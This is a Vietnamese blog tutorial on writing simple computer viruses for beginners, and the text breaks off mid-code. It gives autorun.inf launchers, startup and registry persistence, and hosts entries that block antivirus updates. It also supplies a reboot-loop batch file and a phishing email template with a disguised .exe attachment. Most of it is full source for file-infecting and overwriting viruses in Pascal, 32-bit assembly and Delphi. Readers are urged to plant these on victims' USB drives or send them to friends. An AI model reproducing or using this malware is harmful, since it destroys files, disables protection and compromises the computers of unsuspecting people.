Trao đổi với tôi

http://www.buidao.com

2/24/10

[Virus] Giải đáp thắc mắc của các newbie: Viết Virus đơn giản

Có nhiều newbie hỏi Qflower: Em có thể viết 1 con virus bằng AutoIT 3, perfect Keylogger… Qflower nói rằng: Nhưng đó chưa phải là em viết mà chỉ là tạo virus từ những thứ có sẵn thôi. Người ta đã lập trình Virus và em chỉ là người phát tán virus đó! Newbie chợt nhận ra mình chưa phải là một hacker thực sự!

Một hacker thực sự ko chỉ biết sử dụng công cụ có sẵn mà phải tạo cho mình một công cụ mang đậm chất cá nhân. Và với 1 hacker tạo virus; một khi đạt đến cảnh giới cao nhất của sự sáng tạo thì một công cụ đơn giản cũng có thể biến thành một thứ vũ khí lợi hại vô cùng! Sau đây Qflower sẽ hướng dẫn cho các newbie từng bước để tạo một “con virus” với chức năng ghi mã và “tự hành” bằng một công cụ khá cổ điển đó là …. Pascal!

1. Cần hiểu một vài chức năng để virus vận hành:

- Sử dụng điều kiện: Nếu … thì… (If… then…):

Ta nêu ra một ví dụ về câu điều kiện :

Nếu hôn nay không mưa thì Qflower sẽ đi chơi.

Trong câu trên, mệnh đề 1: hôm nay khômg mưa sẽ dẫn đến mệnh đề 2: Qflower sẽ đi chơi.

Bây giờ ta liền nghĩ đến cách virus vận hành để tạo file Autorun trên phân vùng. Ta hiểu như sau:

If file Autorun.inf tồn tại Then Đổi tên file Autorun.inf thành Autorun.inf.bak

Tiếp đến: virus sẽ dùng lệnh tạo file Autorun.inf trên phân vùng.

Đây là một đoạn mã autorun kích hoạt virus đang tồn tại trong phân vùng . nếu ta mở bằng menu ngữ cảnh (open hay explore) thì virus sẽ hoạt động: Giả sử tên virus là Qflower.exe

[AutoRun]

;iMdkb

SHeLl\ExplorE\CoMManD =Qflower.exe

;

sHell\oPEn\DefAult=1

;

oPen = Qflower.exe

;GFkApu HmGeeMklhlhaot

sHeLL\OPEn\ComManD=Qflower.exe

;

shElL\AutoPlay\COMMand = Qflower.exe

Đây là một đoạn mã Autorun khá hay! NHưng ta cứ ưu tiên “ Người việt nam xài hàng việt nam”. Tôi xin giới thiệu 1 đoạn mã autorun của virus Phimnguoilon.exe đồng thời tôi cũng “độ’’ thêm một ít để nếu virus có nhiễm vào USB thì USB của victim sẽ có một biểu tượng rất đẹp coi như là an ủi:

[autorun]

open=Qflower.exe

icon=%windir%\system32\SHELL32.dll,7

action=Open folder to view files

shell\open=Open

shell\open\command=Qflower.exe

shell\open\default=1

2. tìm kiếm

Search các mọi file theo wildcad (*.*) . Để ghi mã vào file ta cần đổi mã của các file về dạng nhị phân rồi chép mã vào file đích.

3. Tự chạy khi khởi động:

- Sử dụng công cụ tự chạy có sẵn của windows là thư mục startup trong đường dẫn sau: "%ALLUSERSPROFILE%\Start Menu\Programs\Startup\”

Copy vào System32: đây là thư mục chứa rất nhiều file hệ thống và cũng là ngôi nhà ưa thích của virus. Sau đó tạo khóa registry cho virus chạy khi khởi động
ví dụ:
HKCR\CLSID\{5EED7056-B89D-4DE8-A060-D285EA746799}\(Default)

HKCR\CLSID\{5EED7056-B89D-4DE8-A060-D285EA746799}\InProcServer32\(Default)

HKCR\CLSID\{5EED7056-B89D-4DE8-A060-D285EA746799}\InProcServer32\ThreadingModel

HKLM\...\ShellExecuteHooks\{5EED7056-B89D-4DE8-A060-D285EA746799}

Nếu nâng cao hơn thì chỉ có các chương trình lập trình virus chuyên dụng. Sau đây tôi sẽ gợi ý cách chặn việc update và vào các trang web của các trình antivirus đó là Sửa file host để ngăn cản người sử dụng truy cập vào các trang web bảo mật.

Các em và các bạn có thể cài thêm các thông số sau:

127.0.0.1 localhost

127.0.0.1 mmsk.cn

127.0.0.1 ikaka.com

127.0.0.1 safe.qq.com

127.0.0.1 360safe.com

127.0.0.1 www.mmsk.cn

127.0.0.1 www.ikaka.com

127.0.0.1 tool.ikaka.com

127.0.0.1 www.360safe.com

127.0.0.1 zs.kingsoft.com

127.0.0.1 forum.ikaka.com

127.0.0.1 up.rising.com.cn

127.0.0.1 scan.kingsoft.com

127.0.0.1 kvup.jiangmin.com

127.0.0.1 reg.rising.com.cn

127.0.0.1 update.rising.com.cn

127.0.0.1 update7.jiangmin.com

127.0.0.1 download.rising.com.cn

127.0.0.1 dnl-us1.kaspersky-labs.com

127.0.0.1 dnl-us2.kaspersky-labs.com

127.0.0.1 dnl-us3.kaspersky-labs.com

127.0.0.1 dnl-us4.kaspersky-labs.com

127.0.0.1 dnl-us5.kaspersky-labs.com

127.0.0.1 dnl-us6.kaspersky-labs.com

127.0.0.1 dnl-us7.kaspersky-labs.com

127.0.0.1 dnl-us8.kaspersky-labs.com

127.0.0.1 dnl-us9.kaspersky-labs.com

127.0.0.1 dnl-us10.kaspersky-labs.com

127.0.0.1 dnl-eu1.kaspersky-labs.com

127.0.0.1 dnl-eu2.kaspersky-labs.com

127.0.0.1 dnl-eu3.kaspersky-labs.com

127.0.0.1 dnl-eu4.kaspersky-labs.com

127.0.0.1 dnl-eu5.kaspersky-labs.com

127.0.0.1 dnl-eu6.kaspersky-labs.com

127.0.0.1 dnl-eu7.kaspersky-labs.com

127.0.0.1 dnl-eu8.kaspersky-labs.com

127.0.0.1 dnl-eu9.kaspersky-labs.com

127.0.0.1 dnl-eu10.kaspersky-labs.com

4. Bây giờ Qflower sẽ giới thiệu mã nguồn một con virus dc tạo bằng Pascal ( cái ngôn ngữ này học năm lớp 11 rùi đó! Newbie nào thành thạo thì có thể sáng tạo hơn)

Virus này đã lược bỏ một vài thành phần lây nhiễm như tạo autorun, tự sao chép… để tránh virus dc sử dụng với mục đích phá hoại. Các bạn có thể copy về Notepad lưu file txt thành Qflower.pas hay Qflower.bak. sau đó dùng PolandPascal hay TurboPascal để chạy.

Program Qflower;

{$M 10000,0,0}

Uses

DOS;

Var

DriveID : String [2];

Buffer : Array [1..8000] Of Byte;

Target,Source : File;

Infected : Byte;

Done : Word;

TargetFile : String;

(*??????????????????????????????????????

???????????????????????????????????*)

Function ExistCom : Boolean;

Var

FindCom : SearchRec;

Begin

FindFirst ( TargetFile, 49, FindCom );

ExistCom := DosError = 0;

End;

Procedure SearchDir ( Dir2Search : String );

Var

S : SearchRec;

Begin

If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then

Dir2Search := Dir2Search + '\';

FindFirst ( Dir2Search + '*.exe', 49, S );

While DosError = 0 Do

Begin

TargetFile := Copy ( Dir2Search + S.Name,1,

Length ( Dir2Search + S.Name ) -4 ) + 'com';

If ( Copy ( S.Name, Length ( S.Name ) -2,4 ) = 'EXE' ) And

Not ExistCom And ( Infected <> 25000 ) Then

Begin

{$i-}

Inc ( Infected );

Assign ( Target, TargetFile );

Rewrite ( Target,1 );

BlockWrite ( Target, Buffer, Done + Random ( 4400 ));

SetFTime ( Target, S.Time );

Close ( Target );

If IoResult = 101 Then

Begin

Infected := 4;

Erase ( Target );

End;

{$i+}

End;

FindNext ( S );

End;

FindFirst ( Dir2Search + '*', Directory, S );

If S.Name = '.' Then

Begin

FindNext ( S );

FindNext ( S );

End;

If ( DosError = 0 ) And

( S.Attr And 16 <> 16 ) Then

FindNext ( S );

While DosError = 0 Do

Begin

If ( S.Attr And 16 = 16 ) And ( Infected <>

SearchDir ( Dir2Search + S.Name );

FindNext ( S );

End;

End;

Begin

DriveID := FExpand ( ParamStr ( 1 ));

Infected := 0;

Assign ( Source, ParamStr ( 0 ) );

Reset ( Source, 1 );

BlockRead ( Source, Buffer, 5000, Done );

Close ( Source );

Randomize;

SearchDir ( DriveID );

Exec ( Copy ( ParamStr ( 0 ),1,

Length ( ParamStr ( 0 )) -4 ) + 'exe', ParamStr ( 1 ) );

End.

Các bạn và các em chép file Qflower.exe vào USB của victim rùi nhớ tạo file Autorun.inf nha. Xong xuôi rùi đóng gói lại rùi gửi cho thằng bạn….hehe.

Hẹn gặp lại các Newbie trong bài sau, ta sẽ vui một chút với virus viết bằng lệnh DOS ( Command Promp của MS Soft, không phải Denial of Sevices đâu nha)

Phần II: Một trò nghịch trẻ con: Viết “Virus” bằng file .bat

Cơ chế:

Dùng lệnh Shutdown để tắt hay restart lại máy. Tự copy vào thư mục startup để tự khởi động cùng windows do đó khi victim khởi động máy vào desktop thì máy sẽ tiếp tục shutdown. Nếu thay bằng tham số -r thì máy sẽ restart liên tục nếu không ngưng cung cấp điện! ( cái này khá nguy hiểm đó! Hehe)!

2. Code of virus:

copy "a.bat" "%ALLUSERSPROFILE%\Start Menu\Programs\Startup\a.bat"

copy "a.bat" "D:\a.bat"

copy "autorun.inf" "D:\autorun.inf"

copy "a.bat" "%ALLUSERSPROFILE%\Start Menu\Programs\Startup\a.bat"

copy "autorun.inf" "%ALLUSERSPROFILE%\Start Menu\Programs\Startup\autorun.inf"

shutdown -r -t 10 -c "Xin chuc mung.Ban da dinh virus Qflower.exe"

exit

Đây là code của virus: Qflower.bat. Bạn nào muốn thử thì copy code trên vào notepad và lưu lại dưới tên Qflower.bat. Sau đó hãy tạo ra 1 file autorun.inf như sau: Nhớ copy vào cùng thư mục với Qflower.bat nha !
[autorun]

open=Qflower.exe

icon=%windir%\system32\SHELL32.dll,7

action=Open folder to view files

shell\open=Open

shell\open\command=Qflower.exe

shell\open\default=1


Xong xuôi đâu đó, bạn copy 2 file này vào USB hay up lên đâu đó rùi share cho đứa bạn! Qflower ko chịu trách nhiệm nếu ai đó bị thiệt hại hay bị thương tích do con “virus”bé nhỏ này

Phần II: Phân tích và viết code virus bằng các chương trình khác nhau

Ừm, Bài “thuyết pháp” đến đây là đủ. Trước khi tôi bắt đầu giải thích những vấn đề liên quan về mặt kỹ thuật, Tôi sẽ làm rõ ràng một số vấn đề nho nhỏ , là tài liệu này chỉ dành cho những người mới bắt đầu làm quen với VIRUS với một số người có chút ít thông tin về VIR, và những thứ cao cấp như “Sự biến hình” (metamorphism) sẽ không được đàm đạo ở đây.

What is a virus?

Ừm, có một câu hỏi tốt hơn: MALWARE là gì? Một thuật ngữ có vẻ bao trùm nhiều ý nghĩa. Malware là một thuật ngữ phổ biến chủ yếu là dành cho Chương trình không ai mong muốn có nó trong máy vi tính của mình cả. Nó có thể có nhiều loại danh mục:

I) Virii.

Hầu hết mọi người nghĩ virii và malware là giống nhau, nhưng đó chỉ là cách nghĩ xao lãng phổ biến. Một con virus (theo tôi) Định nghĩa tốt nhất là: "một chương trình tự nhân bản nó rồi lợi dụng những chương trình khác để thực hiện việc lây lan rộng khắp". Một con virus luôn cần một chương trình khác, nó không thể lây lan trên chính nó, Nó cần một chương trình để lây nhiễm.

II) Worms .

Sự khác biệt giữa một WORM và một VIRUS là cách thực hiện nhân bản. Một WORM có thể sống mà không cần một chương trình khác, nó như là một con vi khuẩn. Nó sao chép và tự sinh sôi nảy nở bản thân nó với bất kỳ cách nào nếu có thể. Không giống như VIRUS, hầu hết WORMs không cần phải lây nhiễm đến chương trình khác.

III) Trojans.

Loại này cũng âm thầm một cách đáng sợ như nguồn gốc của nó. Trông chúng như không gì nguy hại cả và còn có gì đó rất hấp dẫn người dùng, nhưng thực chất chúng chứa đựng những “Côn trùng gây hại khác” như: VIRII, WORM, SPYWARE, LOGIC BOMB, hoặc RAT (Remote Administration Tools).

IV) Spyware.

SPYWARE là một thuật ngữ ám chỉ trong một phần mềm có chứa một số đoạn mã mà theo dõi hành động thao tác máy tính của người dùng, nói chính xác là thực hiện việc do thám.

V) Logic Bombs.

Khá hiếm thấy, Logic Bombs là những chương trình mà bùng phát khi một sự kiện chính xảy ra. Khi bạn là mục tiêu của logic bomb, thì bạn nên biết rằng một người nào đó đang ở “đằng sau” bạn. Logic bombs được tạo ra giống như những nhà lập trình hay cộc cằn, hay bất bình khi họ không nhận được lương hưởng của họ, hoặc chí ít cũng lo lắng về điều đó. Một quả logic bomb sẽ được kích hoạt khi một điều kiện nào đó được thỏa mãn, như ngày tháng, hoặc xóa ,thêm file…..


Types of malware.

I) Virii

a) Ghi đè (OVERWRITTER), Đây là điều khá phổ biến trong thế giới VIRII. Chúng chỉ thay thế chương trình gốc bằng chính bản thân chúng, và xóa chương trình gốc..

b) (COMPANIONS), virii này không thay thế hostfile, Chúng đỗi tên,ẩn file đó , rồi thực thi chương trình gốc sau khi chúng đã hoạt động.

c) Bootsector virii, virii này lây nhiễm bootsector của một HD hay floppy, tự chúng sẽ khởi động trong quá trình boot.

d) Gắn kết phía trước (PREPENDER), virii này đặt mã của chúng vào phía trước mã của victim, thực thi mã lệnh của chúng trước khi thực thi mã victim nếu có thể.

e) Gắn kết phía sau (APPENDER), giống như PREPENDER, Chúng chỉ thực thi sau mã của victim.

f) Thường trú trên bộ nhớ (Memory-resident), Loại virii này sử dụng kỹ thuật TSR (Terminate and Stay Resident), để lưu lạitrên bộ nhớ memory (bằng phương pháp interupt hooking) cho đến khi một vài sự kiện nho nhỏ xảy ra (a .exe file được mở) và sau đó chúng sẽ lây nhiễm file đó.

g) VIRII tữ mã hóa (Encrypted virii), để làm ngu muội những trình quét scanners, virii đã mã hóa mã nhị phân trong thân của chúng, và sẽ tự giãi mã trong lúc thực thi. Kỹ thuật này rất khá là phức tạp..

h) Oligomorphic virii, loại virii này được mã hóa bởi chính nó, và sẽ thay đổi các khóa mã hóa/giải mã ở mỗi thời điểm phát tán lây lan, vì vậy trình scanners sẽ càng gặp khó khăn hơn trong việc phát hiện ra chúng.

i) Polymorphic virii, Một kỹ thuật tiến bộ, Một kỹ thuật ma quái, nó sẽ thay thế hầu hết “khối mã nhị” phân bằng “khối mã nhị phân khác” nhưng cùng làm một thao tác công việc.

j) Metamorphic virii, một trong những kỹ thuật mới mà làm ngu muội các trình AntiVirus, những virii này thay thế hầu hết khối mã đúng trong bản thân chúng.Ví dụ Chúng thay thế 3 = (1+2) hay (6 / 2) hoặc (((2 * 2) +2) / 2).

k) EPO virii, viết tắt của entry point obscuring (or obfuscating) virii , chúng đặt mã của chúng vào bất kỳ nơi nào bên trong victim file, và chỉnh sửa một lệnh nhảy tới vị trí bắt đầu của VIRII.

l) Cross-infection virii, Loại virii này sẽ lây nhiễm nhiều loại file.

m) Cryptovirii, Loại này hơi dơ bẩn, là chúng sẽ mã hóa những thông tin hoặc cơ sở dữ liệu trên đĩa cứng của chủ sở hữu, và bắt chủ sở hữu phải trả một khoản tiền cho việc giải mã lại những cái bị mã hóa.

II) Worms .

a) Massmailing, những con worms này thu hoạch những địa chỉ e-mail tư một hộp thông tin nào đó (WAB files, danh sách messenger hoặc file addressbook) và thực hiện gửi mail để lan truyền, chúng sẽ du lịch vòng quanh thế giới một cách nhanh chóng, nhưng cũng lôi cuốn các AV một cách nhanh chóng.

b) P2P, những worms loại này sẽ lan rộng thông qua những phần mềm peer-to-peer, sinh sản như là những tệp tin phổ biến (music, movies, pictures, programs, etc), cái này thì hơi giống MASSMAILLING nhưng có phần thầm lặng hơn.

c) I-Worms, một loại sâu đặc biệt, lọai worm đầu tiên: morris-worm,nhưng có vẻ phải thêm 15 năm sau mới xuất hiện I-WORMS second. I-Worms thường được xem như Warhol-worms, bắt nguồn từ lời dự đoán của Warhol rằng mỗi người trong tương lai sẽ nổi tiếng trong 15 phút. I-Worms sẽ chu du và khai thác kẽ hở, như lỗi gửi mail của Morris'. Code-Red,Nimda, Sasser và Zotob là tất cả Warhol worms (I-worms) và cũng hết sức thành công.

d) Botnet worms, Loại này có một số chức năng giống giống Trojan. Chúng dùng những mày của victim như là một zombie, cho phép người tấn công từ xa dùng máy của victim để spam, log passwords và tấn công DDOS.

e) Neural-Network worms, Tôi chưa bao giờ thấy trong “tự nhiên”, giống như là POC (proof of concept ). Thường được xem như là Curious Yellow worms, loại worms này sẽ trao đổi thông tin với loại khác về VICTIM, khai thác lỗi để lây lan, chống AV. Loại này thực hiện việc tự ghi đè hoặc tự cải tiến, có vẻ gần như là không thể đánh bại.

III) Trojans.

a) R.A.T's (loại này rất rõ ràng như tên gọi của nó) chủ yếu để DDOS

b) Rootkits

Rootkits cho phép người tấn công từ xa xâm nhập một cách âm thầm,rồi ẩn những tiến trình, các danh mục , files và extra accounts.

b) other

IV) Spyware

a) Homepage/Searchpage Hijackers

Những chương trình này thay đổi homepage và searchpage của bạn trong trình duyệt đến một trang web mà tác giả muốn.

b) Dialers

Dialers lợi dụng việc kết nối quay số của victim để dial và làm gì đó đó đối với victim.

c) Habit-trackers

Những chương trình này lấy dấu vết tất cả những thao tác của bạn trên mạng.

d) Keyloggers

V) Logic Bombs

Được giải thích trong 0->1.


1) Abstract concepts

Bây giờ, chúng ta đã biết một số khái niệm cơ bản về malware, Chúng ta sẽ đi sâu hơn về mặt lý thuyết phát triển về nó.

Survival Concept (Khái niệm sinh tồn)

Đầu tiên, bạn nên biết cái quan trọng đối với malware để nó tồn tại là cái gì. Ừm, sau đây là một vài thứ quan trọng.

I) Spreading (Lan truyền)

Một đặc điểm quan trọng nhất của malware : đó là lan truyền càng xa càng tốt nếu có thể, lây nhiễm càng nhiều files/box.

II) Efficiency (tínhHiệu quả)

Thực hiện ý đồ mà nó đã được thiết kế

III) Stealth (Sự lén lút)

Không bị phát hiện bở AV là một điều cốt yếu để có thể tồn tại.

Survival Theory (Lý thuyết về sinh tồn):


I) Spreading

Việc sinh tồn có thể được biết đến bởi nhiều phương thức được trình bày trong 0->2.

Ừm đặc biệt, việc sinh tồn là do một phần công việc lừa đảo mà có.

Hãy gửi một mass-mail như sau:

----------start of mail---------------------

Subject: dfjadsad

Body: Hi, open the attachment

Attachment: blah.exe

--------end of mail---------------------

Sẽ không dụ được nhiều người.Hãy làm cái nì:

----------start of mail---------------------

Subject: Your Credit Card has been charged

Body:

Dear recipient@provider.com,

Your purchase of the $1000 bodyset-deluxe was sucessfull, your credit-card has been charged accordingly, check

the attachment for details.

Yours sincerly,

The E-Bay team.

Attachment: Details.doc.exe

--------end of mail---------------------

Sẽ dụ được nhiều người lắm đây, Họ sẽ háo hức xem xxem điều gì sẽ xảy ra. Hí hí, cũng khá giống P2P hỉ.

II) Efficiëncy

Cũng đôi lúc xảy ra việc lựa chọn giữa spreading,stealth and efficiëncy.

Spreading trông có vẻ sẽ làm cho malware của chúng ta “đi được xa hơn”, nhưng dễ bị phát hiện và trở nên lỗi thời nhanh chóng; trong khi đó steath sẽ giữ cho malware của bạn khó bị phát hiện hơn trong vài năm, nhưng nó sẽ không lây nhiễm quá 10 đối tượng. Vậy Efficiency hoàn toàn phụ thuộc vào mục đích chính của bạn là gì.

III) Stealth

Malware có rất nhiều cường địch, sau đây là một vài trong số đó:

a) AV's

b) Firewalls

c) AV researchers

Việc mà làm “mù mờ” AV's là không quá khó, thỉnh thoảng chỉ việc hoán đổi 2 hoặc 3 bytes là có thể làm “ngu muội” các AV’s, nhưng sau đó con vir của bạn sẽ bị phát hiện và sẽ trở về con số0. Vì thế bạn phải bảo vệ MALWARE của bạn. theo cách nghĩ này thì các kỹ thuật cao cấp đã lần lượt ra đời: encryption,Oligomorphism,Polymorphism and Metamorphism. Encryption,Polymorphism,Oligomorphism and Metamorphism thì có thể được thực hiện rất tốt trên assembly, vì thế bạn hãy bắt đầu học tập nó!

Việc qua mặt FIREWARLL cũng được thực hiện một cách dễ dàng, Đơn giản là bạn hãy terminate những tiến trình bảo vệ đó là xong thôi! Mặc dầu điều này là khá vất vả và tế nhị, nhưng nó rất có hiệu quả. Một cách tinh tế hơn, bạn có thể thêm chức năng trustedprogram-list vào chương trình của bạn.

Việc thoát khỏi các máy tìm kiếm AV có thể là khá khó khăn. Chúng sẽ tìm cách “dịch ngược” virii của bạn, rồi Emulate (Sự thay đổi) rồi SANDBOX (khối chiêu dụ). Vì vậy bạn hãy làm cho VIRII của bạn cực kỳ phức tạp, với nhiều vòng lặp dài, với nhiều lệnh nhảy jumps sẽ làm cản trở việc dịch ngược ra mã assembly. Để bỏ qua việc Emulation thì cũng khá khó, bạn sẽ phải kiểm tra mã của bạn bị thay thế bởi một sự sửa mã,và kiểm tra nếu sự thay đổi đó được cháp nhận, nếu không, mã virii của bạn sẽ bị thay thế. Sandboxing làa một kỹ thuật mà bao hàm việc đặt mã virii trong một máy ảo một vài “con mồi” để xem xem virii của bạn sẽ làm những gì. Có thể dủng máy ảo VMWARE ,Virtual Pc, etc.

2) Code Practice.

Trước khi bắt đầu với phần này, tôi sẽ giả định bạn đã biết một chút về lập trình, lý thuyết virii và một vài ngôn ngữ script như Pascal, c++, assembly,… Section này sẽ có mã virii. Tôi không chịu bất ký một trách nhiệm nào về những sự phá hoại bởi những chương trình được tạo ra bởi các mã này. Chúng chỉ mang tính chất nghiên cứu học tập.

I) Simple Exe Virii

II) Batch Virii

III)Script Virii

IV) Moderate ExeVirii/Worms

V) Concept Virii _|


///////////////----------------------------------------------------------------\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

| Section A: Infection |

///////////////---------------------------------------------------------------\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Đặc điểm quan trọng nhất của virii là lây nhiễm. Lây nhiễm một file chính là cách thức chủ yếu để virii có thể tồn tại. Trong section này tôi sẽ thảo lược một vài kỹ thuật lây nhiễm đơn giản.

;===============================================================

Section I: Simple overwriters

;===============================================================

Pascal là một ngôn ngữ rất phù hợp cho mục đích học tập, do đó tôi sẽ viết một virii đơn giản bằng PASCAL, mang tên AIDS. Tôi yêu cầu bạn nên biết một ít về assembly 16 bit. Còn không bạn hãy đến section W32.Lamer, được viết bằng Delphi , dễ hiểu hơn.

--------------------điểm bắt đầu của AIDS.pas--------------------------

{C-}

{U-}

{I-} { sẽ không cho phép người dùng ngắt ngang, cho phép IO check }

{ -- Constants --------------------------------------- }

Const

VirusSize = 13847; { kích mã AIDS }

Warning :String[42] { Thông điệp cảnh báo }

= 'This File Has Been Infected By AIDS! HaHa!';

{ -- Type declarations------------------------------------- }

Type

DTARec =Record { dữ liệu cho việc tìm kiếm file }

DOSnext :Array[1..21] of Byte;

Attr : Byte;

Ftime,

FDate,

FLsize,

FHsize : Integer;

FullName: Array[1..13] of Char;

End;

Registers = Record {thiết lập những thanh ghi cho việc tìm kiếm file }

Case Byte of

1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);

2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);

End;

{ -- Variables--------------------------------------------- }

Var

{ offset bộ nhớ của mã chương trình}

ProgramStart : Byte absolute Cseg:$100;

{ Infected marker }

MarkInfected : String[42] absolute Cseg:$180;

Reg : Registers; { Register set }

DTA : DTARec; { Data area }

Buffer : Array[Byte] of Byte; { Data buffer }

TestID : String[42]; { To recognize infected files }

UsePath : String[66]; { Path to search files }

{ Lenght of search path }

UsePathLenght: Byte absolute UsePath;

Go : File; { File lây nhiễm }

B : Byte; { đã dùng }

LoopVar : Integer; {sẽ là vòng lặp vĩnh viễn}

{ -- Mã chương trình------------------------------------------ }

Begin

GetDir(0, UsePath); { Lấy thư mục hiện tại }

if Pos('\', UsePath) <> UsePathLenght then

UsePath := UsePath + '\';

UsePath := UsePath + '*.COM'; { Định nghĩa cách tìm kiếm }

Reg.AH := $1A; { Set data area }

Reg.DS := Seg(DTA);

Reg.DX := Ofs(DTA);

MsDos(Reg);

UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }

Reg.AH := $4E;

Reg.DS := Seg(UsePath);

Reg.DX := Ofs(UsePath[1]);

Reg.CX := $ff; { Set attribute to find ALL files }

MsDos(Reg); { Find first matching entry }

IF not Odd(Reg.Flags) Then { If a file found then }

Repeat

UsePath := DTA.FullName;

B := Pos(#0, UsePath);

If B > 0 then

Delete(UsePath, B, 255); { Remove garbage }

Assign(Go, UsePath);

Reset(Go);

If IOresult = 0 Then { If not IO error then }

Begin

BlockRead(Go, Buffer, 2);

Move(Buffer[$80], TestID, 43);

{ Test if file already ill(Infected) }

If TestID <> Warning Then { If not then ... }

Begin

Seek (Go, 0);

{ Mark file as infected and .. }

MarkInfected := Warning;

{ Infect it }

BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));

Close(Go);

Halt; {.. and halt the program }

End;

Close(Go);

End;

{ The file has already been infected, search next. }

Reg.AH := $4F;

Reg.DS := Seg(DTA);

Reg.DX := Ofs(DTA);

MsDos(Reg);

{ ......................Until no more files are found }

Until Odd(Reg.Flags);

Loopvar:=Random(10);

If Loopvar=7 then

begin

Writeln('
'); {Give a lot of smiles}

Writeln(' ');

Writeln(' *********************************************************************');

Writeln(' * ATTENTION: *');

Writeln(' * I have been elected to inform you that throughout your process of *');

Writeln(' * collecting and executing files, you have accidentally *Hš›Kä* *');

Writeln(' * yourself over; again, that''s PHUCKED yourself over. No, it cannot *');

Writeln(' * be; YES, it CAN be, a û�ç-s has infected your system. Now what do *');

Writeln(' * you have to say about that? HAHAHAHA. Have *Hš¥ with this one and *');

Writeln(' * remember, there is NO cure for *');

Writeln(' * *');

Writeln(' * ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ *');

Writeln(' * ÛÛÛ±±±±±±ÛÛÛ ±±±±ÛÛ±±±±±± ÛÛ±±±±±±±ÛÛÛ ÛÛÛ±±±±±±±ÛÛ *');

Writeln(' * ÛÛ±± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ±± ±± *');

Writeln(' * ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± *');

Writeln(' * ÛÛÛÛÛÛÛÛÛÛÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛÛÛÛÛÛÛÛÛÛÛ *');

Writeln(' * ÛÛ±±±±±±±±ÛÛ± ÛÛ± ÛÛ± ÛÛ± ±±±±±±±±±ÛÛ± *');

Writeln(' * ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± *');

Writeln(' * ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛÛ± ÛÛ ÛÛÛ± *');

Writeln(' * ÛÛ± ÛÛ± ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ±± ÛÛÛÛÛÛÛÛÛÛ±± *');

Writeln(' * ±± ±± ±±±±±±±±±±±± ±±±±±±±±±±± ±±±±±±±±±± *');

Writeln(' * *');

Writeln(' *********************************************************************');

REPEAT

LOOPVAR:=0;

UNTIL LOOPVAR=1;

end;

End.

{ Although this is a primitive virus its effective. }

{ In this virus only the .COM }

{ files are infected. Its about 13K and it will }

{ change the date entry. }

--------------------end of AIDS.pas--------------------------

Như bạn thấy đấy, virii này khá là đồ sộ và không có hiệu quả lắm, cùng một chương trình nhưng được viết bởi ASSEMBLER thì sẽ nhỏ bằng 42/44 BYTES, U&@M BYTES chứ không phải KB. Nhưng với 16bit assembler thì sẽ không còn phù hợp cho việc viết virii ngày hôm nay, vì thế, tôi sẽ dùng 32 bit ASSEMBLER. Một con virii mới tên W32.TrivialOverwrite sẽ được viết bởi 32 bit ASSEMBLER.

------------------ start of W32.TrivialOverwrite ----------------------------

.386

.model flat

extrn ExitProcess :PROC ; exit the process

extrn FindFirstFileA :PROC ; find files

extrn FindNextFileA :PROC ; duh

extrn CopyFileA :PROC ; copy us

extrn GetCommandLineA :PROC ; Lấy tham số dòng lệnh

extrn lstrcpyA :PROC ; copy string

.data

db "[W32.TrivialOverwrite By Nomenumbra AkA ZeRogue]",0

FILETIME STRUC ; Filetime structure

FT_dwLowDateTime dd ?

FT_dwHighDateTime dd ?

FILETIME ENDS

WIN32_FIND_DATA label byte

WFD_dwFileAttributes dd ?

WFD_ftCreationTime FILETIME ?

WFD_ftLastAccessTime FILETIME ?

WFD_ftLastWriteTime FILETIME ?

WFD_nFileSizeHigh dd ?

WFD_nFileSizeLow dd ?

WFD_dwReserved0 dd ?

WFD_dwReserved1 dd ?

WFD_szFileName db 260d dup (?)

WFD_szAlternateFileName db 13 dup (?)

WFD_szAlternateEnding db 03 dup (?)

FileMask db '*.EXE',0 ; find .exe files

FindHandle dd 0

VirusFile db 260d dup (0) ; store filename

.code

start:

call GetCommandLineA ; fetch argv[0]

inc eax ;increase with one, because argv[0] is fetches as " " and we don't want the "'s

push eax

push offset VirusFile ; copy it to buffer

call lstrcpyA

mov esi,offset VirusFile

call GetPoint ; DiA's GetPoint (to find a dot in a string) procedure

mov dword ptr [esi+4],00000000d ; clear the trailing "

push offset WIN32_FIND_DATA

push offset FileMask

call FindFirstFileA

mov dword ptr [FindHandle],eax

FindNext:

test eax,eax

jz eind

push 0

push offset WFD_SZFileName

push offset VirusFile ; sao chép nó đến victim mà tên được lưu trong WFD_SZFileName

call CopyFileA

push offset WIN32_FIND_DATA

push dword ptr [FindHandle]

call FindNextFileA

jmp FindNext

eind:

push 0

call ExitProcess

GetPoint:

cmp byte ptr [esi],'.' ;point?

jz FoundPoint ;je return

inc esi ;scan next place

jmp GetPoint

FoundPoint:

ret

end start

------------------ end of W32.TrivialOverwrite ----------------------------

Oh, virii này thì hóa là đơn giản đối với một số bạn có kinh nghiệm lập trình heng

Ừm, bây giờ là lúc dành cho ai không biết ASSEMBLER, một con virii được viết bằng DELPHI , nó sẽ ghi đè tất cả file trong thư mục hiện tại:

------------------ start of W32.Lamer-----------------------------

/// W32.Lamer by Zerogue

program W32LAMER;

{$APPTYPE CONSOLE}

uses

SysUtils;

var

FU:Tsearchrec; /// search record, holds found file data

begin

if findfirst('*.*',$0000003F,FU)=0 //// findfirst(files,anyfile,whereshoulddatago)

then

begin

repeat

if ((FU.NAME<>'') and (FU.NAME<>'.') and (FU.NAME<>'..')) then // it will find . and .. (directory up) , ignore those and empty results

begin

copyfile(pchar(paramstr(0)),pchar(FU.Name),false); //// copyfile(pchar(virusfile),pchar(victimfile),nofailurepossible);

